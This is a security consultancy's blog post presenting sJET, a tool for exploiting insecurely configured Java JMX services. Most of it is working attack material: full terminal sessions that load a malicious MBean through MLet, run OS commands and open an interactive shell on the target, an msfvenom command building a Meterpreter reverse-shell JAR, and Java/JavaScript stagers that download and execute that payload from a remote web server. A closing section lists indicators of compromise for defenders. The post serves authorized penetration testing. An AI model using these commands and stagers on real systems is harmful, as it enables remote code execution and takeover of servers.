Die siberas GmbH ein auf Sicherheitsanalysen und Penetrationstests spezialisiertes Beratungsunternehmen, welches Sie herstellerunabhängig und kompetent im Bereich IT-Sicherheit berät.


sJET (siberas JMX Exploitation Toolkit)

Before I joined siberas, I created a tool with the name “MJET” (Mogwai JMX Exploitation Toolkit) that allowed an easy exploitation of insecure configured Java JMX (Java Management Extensions) services. If you need some additional background information about JMX exploitation I recommend to take a look at this blog post by Braden Thomas and the slides from my OWASP presentation from 2015.

MJET consisted of two parts:

  • A Metasploit module which starts a web server that provides the payload.
  • A Java based command line tool that connects to the JMX service and invokes the loading/execution of the payload.

Time moves on, but insecurely configured JMX services are still quite a common thing that we regularly encounter during engagements. Unfortunately, it is no longer possible to use MJET, mainly because certain parts in the Metasploit framework have changed since I developed the tool.

Additionally, Metasploit now provides its own JMX exploit module. The Metasploit version is a 100% Ruby implementation that uses the Java Object Serialization implementation from Juan Vazquez. This basically rendered MJET obsolete.

The Metasploit module, however, has a serious drawback: It seems to work well for Linux/Unix targets, but Windows systems can’t be exploited reliably. The payload gets deployed, however the call to execute it on the target fails. I was not able to identify what caused this, I assume it has someting to do with timing.

This is why I decided to rewrite MJET, with these additional goals:

  • Remove dependencies on other tools/frameworks like Metasploit
  • Provide a flexible payload as Java JAR archive that can be used to execute arbitrary code/commands
  • Use a scripting language so that it can be modified without recompilation

The new version is called sJET (siberas JMX Exploitation Toolkit), obviously. sJET can be found on our Github account.

For sJET we used Jython 2.7, an implementation of the Python language for the Java platform. This allows us to use directly call the necessary Java classes/methods while keeping the advantages of having an editable Python script. The MBean that gets installed on the target is still written in Java.

The main implementation/testing work on sJET was done by our intern Patricio Reller who did an awesome job!


sJET provides different “modes” which are described briefly here.

Install mode

The “install” mode is used to deploy the payload on the target and must be executed first. Installing the payload includes the following steps:

  • Start a web server that will host the payload and a short HTML snippet
  • Connect to the JMX service
  • Load the existing MBean “javax.management.loading.MLet”. This MBean provides methods to load additional code from a web server
  • Invoke “javax.management.loading.MLet.getMBeansFromURL” with the URL of the previously started web server. The JMX service will fetch the JAR from our server and deploy it.
  • Load the payload MBean.
  • Change the initial password to the value that was provided on the command line.

In the following example, the vulnerable target JMX service runs on, TCP port 9991. The attacker has the IP address The web service will be started on port 8000. The password is set to “super_secret”

h0ng10@rocksteady:~/sjet$ jython sjet.py 9991 super_secret install 8000
sJET - siberas JMX Exploitation Toolkit
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://
[+] Connected: rmi://  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 - - - [22/Aug/2017 22:38:00] "GET /siberas_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanSiberas:name=payload,id=1
[+] Changing default password...
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password


Command and shell mode

After we successfully installed the payload MBean, we can directly invoke OS commands on the target via command mode:

h0ng10@rocksteady:~/sjet$ jython sjet.py 9991 super_secret command "ls -la"
sJET - siberas JMX Exploitation Toolkit
[+] Connecting to: service:jmx:rmi:///jndi/rmi://
[+] Connected: rmi://  2
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ls -la
total 16
drwxr-xr-x  4 root    root    4096 Aug 22 16:12 .
drwxr-xr-x 66 root    root    4096 Aug 22 16:12 ..
lrwxrwxrwx  1 root    root      12 Mär 29 01:46 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Mär 29 01:46 lib
lrwxrwxrwx  1 root    root      17 Mär 29 01:46 logs -> ../../log/tomcat8
drwxrwxr-x  3 tomcat8 tomcat8 4096 Aug 22 16:12 webapps
lrwxrwxrwx  1 root    root      19 Mär 29 01:46 work -> ../../cache/tomcat8

[+] Done

We can also use the shell mode to get a interactive shell. This is faster as you don’t need to start Jython every time you want to enter a command. You can exit the shell mode by typing “exit_shell”

h0ng10@rocksteady:~/sjet$ jython sjet.py 9991 super_secret shell
sJET - siberas JMX Exploitation Toolkit
[+] Connecting to: service:jmx:rmi:///jndi/rmi://
[+] Connected: rmi://  3
[+] Use command 'exit_shell' to exit the shell
>>> ping -c 3
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ping -c 3
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.075 ms
64 bytes from icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from icmp_seq=3 ttl=64 time=0.044 ms

--- ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2050ms
rtt min/avg/max/mdev = 0.044/0.055/0.075/0.014 ms

>>> exit_shell
[+] Done

JavaScript mode

If you want do some more advanced stuff, the JavaScript mode is for you. sJET allows you to invoke the JavaScript implementation that comes with JDK (Nashorn for JDK8 or Rhino for JDK6/7) with a custom script. As you can invoke arbitrary Java methods from here, the JavaScript mode provides RCE without touching disk.

The following basic example displays the Java environment variables:

// load Java classes in JavaScript namespace
var System = Java.type("java.lang.System");
var properties = System.getProperties();

for each (var key in properties.keySet())  {
  print(key + "=" + properties[key]); 

You can invoke the script on the target as follows:

h0ng10@rocksteady:~/sjet$ jython sjet.py 9991 super_secret javascript scripts/javaproperties.js
sJET - siberas JMX Exploitation Toolkit
[+] Connecting to: service:jmx:rmi:///jndi/rmi://
[+] Connected: rmi://  4
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing script
java.vendor=Oracle Corporation
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
java.vm.name=OpenJDK 64-Bit Server VM


Advanced JavaScript example: Meterpreter reverse shell

If you want to have a Meterpreter shell on the target, you need to provide the payload as a JAR file on a web server first. You can use “msfvenom” to generate the JAR file:

h0ng10@rocksteady:~/metasploit-framework$ ./msfvenom -p java/meterpreter/reverse_tcp LHOST= LPORT=4444 -f jar -o /tmp/payload/javameterpreter.jar
Payload size: 5124 bytes
Final size of jar file: 5124 bytes
Saved as: /tmp/payload/javameterpreter.jar

For example, you can use Python’s “SimpleHTTPServer” module to spin up a minimal web server in the payload directory:

h0ng10@rocksteady:/tmp/payload$ python -m "SimpleHTTPServer" 
Serving HTTP on port 8000 ...

The next thing we need is a small JavaScript stager that loads the JAR file from the remote web server and invokes the main method of the “metasploit.payload” class. Let’s look how this is done in Java:

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class LoadMeterpreter {

  public static void main(String[] args) {

    try {
      URL[] payloadURLs = new URL[1];
      payloadURLs[0] = new URL("");

      String[] params = new String[]  {""};

      URLClassLoader payloadClassLoader = new URLClassLoader(payloadURLs, "".getClass().getClassLoader());
      Class payloadClass = Class.forName ("metasploit.Payload", true, payloadClassLoader);
      Method mainMethod = payloadClass.getDeclaredMethod ("main", params.getClass());
      Object result = mainMethod.invoke(null, new Object[] {params});
    } catch (Exception e) {

And here the “Java based JavaScript” version which you can find in the “scripts” directory of sJET:

// url of the jar file
payloadURL = ""

// load Java classes in JavaScript namespace
var URL = Java.type("java.net.URL");
var URLClassLoader =  Java.type("java.net.URLClassLoader");
var Class = Java.type("java.lang.Class");
var Method = Java.type("java.lang.reflect.Method");
var URLArray = Java.type("java.net.URL[]");
var StringArray = Java.type("java.lang.String[]")
var ObjectArray = Java.type("java.lang.Object[]")

payloadURLs = new URLArray(1);
payloadURLs[0] = new URL(payloadURL);

paramsArray = new StringArray(0);

objectArray = new ObjectArray(1);
objectArray[0] = paramsArray;

// Load payload jar and invoke main method of metasploit.Payload
urlClassLoader = new URLClassLoader(payloadURLs, "".getClass().getClassLoader())
payloadClass = Class.forName("metasploit.Payload", true, urlClassLoader);
method = payloadClass.getDeclaredMethod("main", paramsArray.getClass())

method.invoke(null, objectArray)

Of course, it would also be possible to directly load Meterpreter from JavaScript and avoiding the call to an external URL. However, the attacker should be able to access an external URL via JMX, otherwise he wouldn’t be able to install the malicious MBean in the first place.

IOCs of a successful attack

Note: After I added this section, I discovered that I basically wrote a short version of this excellent blog post by Rich.

As it is not possible to “unload” a previously loaded class in the Java Classloader, a successful attacker will leave some traces on the system. They can easily be identified by using the “jconsole” GUI.


You can see two interesting MBeans here:

  1. The actual payload MBean. Keep in mind that an attacker can use a different, more stealthy name for his payload MBean.
  2. The system MBean that was used to load the payload from an external server. This MBean is not loaded by default and its name can’t be changed by the attacker. The existence of this MBean is a strong indicator that the system has been compromised.

Please take into account that the attacker might be able to restart the Java service on a compromised machine, removing all previously loaded MBeans. Hence you should also check existing logs for unexpected service restarts.

Future ideas

  • JMX can be secured via username/password however, there is no brute force tool available (yet).
  • The JMX protocol is based on Java RMI. Thus it might be possible to compromise a JMX service via deserialization attacks, even with enabled authentication. This mainly depends on the available Java gadgets and Java version (CVE-2016-3427). Pierre Ernst already demonstrated this in his presentation at Hackfest 2016, including a small PoC.
  • Matthias Kaiser pointed out that it would be possible to implement everything in JavaScript, removing the Jython dependency.

That’s all for now. If you have any questions, feel free to contact me on Twitter.


tool 2 pentest 2 sjet 1 mjet 1 jmx 1 ioc 1 java 1